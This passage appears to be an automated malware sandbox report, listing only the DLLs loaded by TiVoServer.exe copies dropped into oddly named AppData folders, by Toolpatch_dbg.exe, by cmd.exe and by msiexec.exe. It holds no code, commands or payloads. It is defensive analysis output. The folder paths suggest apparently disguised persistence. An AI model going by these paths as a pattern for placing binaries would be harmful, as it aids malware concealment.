Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: cc3260mt.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: stlpmt45.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: borlndmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: wspconfig.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: mindclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: libglib-2.0-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: loudmouth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: cc3260mt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: stlpmt45.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: borlndmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: wspconfig.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: mindclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: libglib-2.0-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: loudmouth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: cc3260mt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: stlpmt45.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: srclient.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: spp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: borlndmm.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: wspconfig.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: mindclient.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: libglib-2.0-0.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: loudmouth.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: msi.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: cc3260mt.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: stlpmt45.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: oledlg.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: pla.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: tdh.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: wevtapi.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: shdocvw.dll
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: borlndmm.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: wspconfig.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: mindclient.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: libglib-2.0-0.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: loudmouth.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: msi.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: cc3260mt.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: stlpmt45.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: oledlg.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: pla.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: tdh.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: wevtapi.dll
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Section loaded: shdocvw.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: shdocvw.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Section loaded: msasn1.dll
